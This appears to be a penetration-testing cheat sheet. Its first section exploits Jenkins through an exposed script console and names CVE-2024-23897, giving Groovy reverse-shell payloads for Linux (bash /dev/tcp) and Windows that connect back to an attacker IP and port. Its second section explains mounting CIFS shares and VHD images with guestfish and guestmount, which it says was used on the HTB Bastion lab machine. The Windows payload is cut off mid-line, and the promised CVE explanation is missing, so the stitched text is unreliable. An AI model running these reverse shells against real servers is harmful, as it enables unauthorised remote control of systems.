Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
To mount a share to your working machine, use the following command. There are some prerequisites for CIFS mount and for mounting the .VHD files. Normally comes preinstalled with you Kali/Linux Distro. However, i am listing it down.
- apt-get install libguestfs-tools
- apt-get install cifs-utils
Now to mount a remote share,
#sudo mount -t cifs //<Remote_Machine_IP>/<Path>/ <Mount_Path> -o rw
eg: mount -t cifs //10.10.10.1/Backups/ /mnt/nfs -o rw
To check the .VHD filesystem, we can use guestfish.
sudo guestfish --ro -a <file.vhd>
><fs> run
><fs> list-filesystems
/dev/sda1: ntfs
Guestfish shell runs only specific commands. However, run and list-filesystems commands are enough to get you the required information.In the above example, we can identify that the filesystem is NTFS and the partition /dev/sda1.
Now mount the .VHD file using guestmount.
#guestmount -a <File.vhd> -m <device_file_partition> --ro <Mount_Path>
--ro = readonly
example: guestmount -a file.vhd -m /dev/sda1 --ro /mnt/vhd/
Now you can able to access the mounted partition.
Note : This method is used for hacking the HTB Bastion machine.